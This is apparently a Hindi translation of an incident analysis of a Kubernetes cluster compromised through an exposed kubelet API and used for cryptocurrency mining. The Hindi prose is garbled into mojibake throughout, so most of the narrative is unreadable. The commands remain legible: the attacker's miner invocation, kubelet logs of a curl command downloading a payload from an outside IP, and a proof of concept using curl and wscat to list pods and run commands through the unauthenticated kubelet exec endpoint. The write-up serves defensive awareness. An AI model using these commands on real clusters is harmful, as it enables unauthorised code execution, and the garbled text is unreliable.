
рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдирд╣реАрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП, рдкрд┐рдЫрд▓реЗ рддреАрди рд╡рд░реНрд╖реЛрдВ рд╕реЗ рдПрдХ рдЧреБрдлрд╛ рдореЗрдВ рд░рд╣рдирд╛ рдкрдбрд╝рд╛ред рд╣реИрдВрдбреА рдбреЗрд╡рд▓рдкрдореЗрдВрдЯ рдЗрдиреНрдлреНрд░рд╛рд╕реНрдЯреНрд░рдХреНрдЪрд░, CI / CD рдФрд░ рдкреНрд░реЛрдбрдХреНрд╢рди рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдорд▓реНрдЯреА-рдХреНрд▓рд╕реНрдЯрд░ рдЗрдХреЛрд╕рд┐рд╕реНрдЯрдо рдкрд░ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╣рдо рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдо рд╣реИрдВрдбреА рдореЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреЗ рдкреНрд░рд╢рдВрд╕рдХ рд╣реИрдВ, рдпрд╣реА рд╡рдЬрд╣ рд╣реИ рдХрд┐ рдЬрдм рд╣рдорд╛рд░реЗ рд╕рд╣рдпреЛрдЧреА рдХреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдирд┐рдЬреА рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рдкрд┐рдЫрд▓реЗ рд╕рдкреНрддрд╛рд╣рд╛рдВрдд рдореЗрдВ рд╣реИрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рд╣рдореЗрдВ рдмрд╣реБрдд рдЖрд╢реНрдЪрд░реНрдп рд╣реБрдЖ рдерд╛ред
рд╡реЗ рдЖрд╢реНрдЪрд░реНрдпрдЪрдХрд┐рдд рдереЗ - рдФрд░ рдЖрдирдиреНрджрд┐рдд рд╣реБрдП, рдХреНрдпреЛрдВрдХрд┐ рдЙрдиреНрд╣реЛрдВрдиреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдореЗрдВ рдПрдХ рдЫреЛрдЯреА-рд╕реА рдЬрд╛рдиреА-рдорд╛рдиреА рдЧрдбрд╝рдмрдбрд╝ рдЦреЛрдЬ рдХреА рдереАред рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдХреИрд╕реЗ рдПрдХ рд╕рд╣рдпреЛрдЧреА рдХреЗ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рд╣реИрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдХреИрд╕реЗ рд╣рдордиреЗ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдХрд░ рдЕрдкрдиреЗ рдирд┐рд╖реНрдХрд░реНрд╖реЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреАред рд╣рдорд▓реЗ рдХреЛ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ 1.9 рдореЗрдВ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рд▓реЗрдХрд┐рди рдкреБрд░рд╛рдиреЗ рд╕рдореВрд╣реЛрдВ рдкрд░ рдХрд╛рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЕрд╕реНрд╡реАрдХрд░рдг : рдпрд╣ рд▓реЗрдЦ рд╣рдорд╛рд░реЗ рд╕рд╣рдпреЛрдЧреА рдХреЗ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд╕рд░реНрд╡рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИред рдЗрдиреНрдлреНрд░рд╛рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд╣реИрдВрдбреА рдЯреЗрдХреНрдиреЛрд▓реЙрдЬреАрдЬ рд╕реЗ рд╕рдордЭреМрддрд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
рд╣рдХ
рджреЛрд╖рдкреВрд░реНрдг рдХреНрд▓рд╕реНрдЯрд░ рдЕрд▓реНрдкрд╛рдЗрди рд▓рд┐рдирдХреНрд╕ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХрдорд╛рддреНрд░ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рддреИрдирд╛рддреА рдиреЛрдб рдерд╛ред рдкрд╣рд▓реА рд╣реИрдХрд┐рдВрдЧ рдЗрдВрдбрд┐рдХреЗрдЯрд░ рдбреЛрдХрд░ рдбреЗрдореЙрди рдХреА рдЪрд╛рдЗрд▓реНрдб рдкреНрд░реЛрд╕реЗрд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реА рдПрдХ рд╕рдВрджрд┐рдЧреНрдз рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдереА:
/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B
рд╕рдорд╛рдкрди рдмрд┐рдВрджреБ рдХрд░реНрд▓рд┐рдВрдЧ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд╛рда рд▓реМрдЯрд╛рддрд╛ рд╣реИ:
Mining Proxy Online
рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдХрд┐рд╕реА рдиреЗ рдХреНрд░рд┐рдкреНрдЯреЛ-рдорд╛рдЗрдирд┐рдВрдЧ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреЛ рдПрдХ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдбрд╛рд▓рдиреЗ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реВ рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдвреВрдВрдв рд▓рд┐рдпрд╛ рд╣реИред
рдЬрдм рдХрдВрдЯреЗрдирд░ (/ var / lib / docker / overlay2 / b5a8a22f1e41b3b1ce504a6c941fb805c28a454f28ac4a2831c3a38d4d353888d7) .dow.x/ ( рдХрдВрдЯреЗрдирд░ /) рдХреЗ рд▓рд┐рдП docker рдУрд╡рд░рд▓реЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ udvs рдлрд╝рд╛рдЗрд▓ рдХреА рдЦреЛрдЬ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, VirusTotal рдкрд░ / tmp / udevs рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рд▓рд┐рдП MD5 рд╣рд╕реНрддрд╛рдХреНрд╖рд░ (a4404be67a41f144ea86a7838f357c26) рдХреЛ рдПрдХ рд╕рдВрднрд╛рд╡рд┐рдд рдореЛрдирд░реЛ рдЦрд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

рддреЛ, рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдкрдЯрд╛рдЦрд╛ рдиреЗ рдХрд┐рд╕реА рддрд░рд╣ рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдХреНрдпреВрдмрд▓реЙрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд░рдЦреА рдФрд░ рдЙрд╕реЗ рдЪрд▓рд╛рдпрд╛ред рд▓реЗрдХрд┐рди рдХреИрд╕реЗ?
рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдПрдкреАрдЖрдИ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкрд╣реБрдВрдЪ рдЦреБрд▓реА рдереА, рд▓реЗрдХрд┐рди рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдереАред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдордиреЗ рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реА рдЫрд╡рд┐рдпреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреА рдЖрдкреВрд░реНрддрд┐ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдкрд░ рд╣рдорд▓рд╛ рдХрд┐рдпрд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреНрдпреВрдмрд▓реЗрдЯ рд▓реЙрдЧ рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдордиреЗ рдХреБрдЫ рджреЗрдЦрд╛:
/var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
' рдХреНрд░рдо рд╕реЗ /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдкрдЯрд╛рдЦрд╛ рдХреЛ рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рдХреНрдпреВрдмрд▓реЗрдЯ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред Google рдиреЗ "рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреНрдпреВрдмрд▓реЗрдЯ" рдХреЗ рдЕрдиреБрд░реЛрдз рдкрд░ рдХреБрдмреЗрд░рдиреЗрдЯ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рд╕реЗ рдкрд╛рда рдЬрд╛рд░реА рдХрд┐рдпрд╛:
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, HTTPS kubelet рд╕рдорд╛рдкрди рдмрд┐рдВрджреБ рдХреЗ рдЕрдиреБрд░реЛрдз рдЬрд┐рдиреНрд╣реЗрдВ рдЕрдиреНрдп рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдзрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╕рд╛рде рдЕрдирд╛рдо рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ: рдЕрдирд╛рдо рдФрд░ рд╕рдореВрд╣ рдкреНрд░рдгрд╛рд▓реА: рдЕрдкреНрд░рдорд╛рдгрд┐рдд ред
рдХреНрдпреВрдмрд▓реЗрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг / рдкреНрд░рд╛рдзрд┐рдХрд░рдг
рдпрджрд┐ рдХреНрдпреВрдмрд▓реЗрдЯ рдореЗрдВ рдХреЛрдИ рдЭрдВрдбреЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдП рдЧрдП рд╣реИрдВ, рддреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдПрдкреАрдЖрдИ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐ рдЬреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкрд╛рд╕ рдирд╣реАрдВ рдХрд░рддреА рд╣реИ, рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдХрд╛рдо рдХреЗ рд▓рд┐рдП рдорд╛рд╕реНрдЯрд░ -> рдиреЛрдб рд▓рд┐рдВрдХ рдХреЗ рд▓рд┐рдП, рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдПрдкреАрдЖрдИ рд╕рд░реНрд╡рд░ рдХреЛ рдиреЛрдбреНрд╕ рдкрд░ рдХреНрдпреВрдмрд▓реЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрдирд╛ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
рдЬреИрд╕рд╛ рдХрд┐ рдпрд╣ рдирд┐рдХрд▓рд╛, рд╣рдорд╛рд░реЗ рд╕рд╣рдпреЛрдЧреА рдХреЗ рд╕рд░реНрд╡рд░ рдиреЗ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдХреНрдпреВрдмрд▓реЗрдЯ рдкреЛрд░реНрдЯ (tcp 10250, tcp 10253) рдХреЛ рднреА рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ред рдпрджреНрдпрдкрд┐ рддреНрд░реБрдЯрд┐ рд╕реНрдкрд╖реНрдЯ рд╣реИ, рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЕрдЪреНрдЫрд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдЖрдкрдХреЗ рдЕрдкрдиреЗ рдХреБрдмреЗрд░рдиреЗрдЯ рдХреЛ рдХреИрд╕реЗ рддреИрдирд╛рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕ рдиреЛрдбреНрд╕ рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдХреНрдпреВрдмрд▓реЗрдЯ рдПрдкреАрдЖрдИ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рд▓рд┐рдП рдкреВрд░реА рддрд░рд╣ рдХрд╛рд░реНрдпрд╛рддреНрдордХ рдмреИрдХрдбреЛрд░ рд╣реИ рдЬрд┐рд╕рдиреЗ рдПрдкреАрдЖрдИ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкрд╛рд░рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИред
рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг (рд╡реЗрдмрд╣реВрдХ, рдЖрд░рдмреАрдПрд╕реА, рдЖрджрд┐) рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдореЗрдВ рд╕рдорд╕реНрдпрд╛рдПрдВ рд╣реИрдВ, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдХреНрдпреВрдмрд▓реЗрдЯ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИред
рдХреНрдпреВрдмрд▓реЗрдЯ рд╕рдВрдЪрд╛рд░ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЧрдВрднреАрд░ рдкреНрд░рд╢реНрди рд╣реИрдВ , рдФрд░ рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдЕрдзрд┐рдХ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИред
рдЕрд╡рдзрд╛рд░рдгрд╛ рдХрд╛ рдкреНрд░рдорд╛рдг
рд╕реАрдзреЗ рдХреНрдпреВрдмрд▓реЗрдЯ рдореЗрдВ рдХрдорд╛рдВрдб рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдпрд╣рд╛рдВ рд╡рд░реНрдгрд┐рдд рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:

рдХреНрдпреВрдмрд▓реЗрдЯ рджреЛ рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдкрд░ рд╕реБрдирддрд╛ рд╣реИ: 10255 рдФрд░ 10250ред рдкрд╣рд▓рд╛ рдХреЗрд╡рд▓ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп HTTP рдкреЛрд░реНрдЯ рд╣реИ, рдФрд░ рджреВрд╕рд░рд╛ рдПрдХ HTTPS рдкреЛрд░реНрдЯ рд╣реИ рдЬреЛ рдХреБрдЫ рднреА рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рдХрд┐рд╕реА рднреА рдиреЛрдб рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдФрд░ рдкреЙрдбреНрд╕ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ:
curl --insecure https://kube-node-here:10250/pods | jq
рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдорд╛рд░реНрдЧ, рдЬрд┐рд╕реЗ рдХреНрдпреВрдмрд▓реЗрдЯ рдкреГрд╖реНрда рдкрд░ рдкреНрд░рд▓реЗрдЦрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдПрдкреАрдЖрдИ рд╕рд░реНрд╡рд░ рдорд╛рд░реНрдЧ рдХреЗ рд╕рдорд╛рди рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рд▓рд┐рдП рджреЛ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ POST рдФрд░ рдПрдХ рдмрд╛рдж рд╡рд╛рд▓рд╛ GET рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд╕рд╛рде SPDY (рдпрд╛ рдПрдХ рд╡реЗрдмрд╕реЛрдХреЗрдЯ рдХреНрд▓рд╛рдЗрдВрдЯ, рдЬреЛ рднреА рд╕рдорд░реНрдерд┐рдд рд╣реИ) рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред
рдХреНрдпреВрдмрд▓реЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдЪрд▓ рд░рд╣реЗ рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдВред
рдкрд┐рдЫрд▓реЗ рдЕрдиреБрд░реЛрдз рдкрд░ рдЬрд┐рд╕ рдиреЛрдб рдХреЛ рдЖрдк рд▓рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЙрд╕ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдБред рдХрд░реНрд▓ рдХреЗ рд╕рд╛рде рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреНрд╡реЗрд░реА рдЪрд▓рд╛рдПрдБ:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1"
рдпрд╣ рдХреЛрдб 302 рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреЛ рдзрд╛рд░рд╛ рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ:
< HTTP/2 302 < location: /cri/exec/PfWkLulG < content-type: text/plain; charset=utf-8 < content-length: 0 < date: Tue, 13 Mar 2018 19:21:00 GMT
рд╕реНрдЯреНрд░реАрдо рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП wscat рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:
wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check connected (press CTRL+C to quit) < < disconnected
рдЪреВрдБрдХрд┐ рд╣рдо рд╕рд┐рд░реНрдл touch hello_world
, рдпрд╣ рдлрд╛рдЗрд▓ рдФрд░ рдбрд┐рд╕реНрдХрдиреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдкрд░реЛрдХреНрдд рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдкрд░рд┐рдгрд╛рдо рджреЗрдЦреЗрдВрдЧреЗред
рдирд┐рд╖реНрдХрд░реНрд╖
рдпрджреНрдпрдкрд┐ рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИ, рдХрдИ рд▓реЛрдЧ рдпрд╣ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЙрдЪрд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдмрд┐рдирд╛, рдЙрдиреНрд╣реЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдмрд╣реБ-рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЫреЗрдж рдорд┐рд▓рддрд╛ рд╣реИред
рд╣рдордиреЗ рдХреБрдмреЗрд░рдиреЗрдЯ рдкрд░ рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ рдХрд╡рд░ рдХрд┐рдпрд╛ рд╣реИред рдЯрд┐рдкреНрдкрдгреА!
14 рдорд╛рд░реНрдЪ, 2018 рдкреИрдЪ
рдЧрд╣рди рдЕрдзреНрдпрдпрди рдХреЗ рдмрд╛рдж, рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпреВрдмрд▓реЗрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рд╣реЛрдиреЗ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдпрд╣ рдХреЗрд╡рд▓ HTTPS рдкреЛрд░реНрдЯ (10250) рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ рдХреЗрд╡рд▓ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп HTTP рдкреЛрд░реНрдЯ (10255) рдЕрднреА рднреА рдиреЗрдЯрд╡рд░реНрдХ рдПрд╕реАрдПрд▓ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХрд┐рд╕реА рднреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рдмрд┐рдирд╛ рдЦреБрд▓рд╛ рд░рд╣рддрд╛ рд╣реИред
рд░реАрдб рдкреЛрд░реНрдЯ /pods
рд░реВрдЯ рдкрд░ рдЪреВрд▓реНрд╣рд╛ рд╡рд┐рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдкрд░реНрдпрд╛рд╡рд░рдг рдХреЗ рдЪрд░ рдЬреИрд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪред
28 рджрд┐рди рдкрд╣рд▓реЗ, рдХреЛрдб рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рддрд╛рдХрд┐ рдПрдХ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдкреЛрд░реНрдЯ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдХреНрд╖рдо рд╣реЛ рдЬрд╛рдПред
рдореВрд▓: рдПрдХ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╣реИрдХ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг - рдХреНрдпреВрдмрд▓реЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ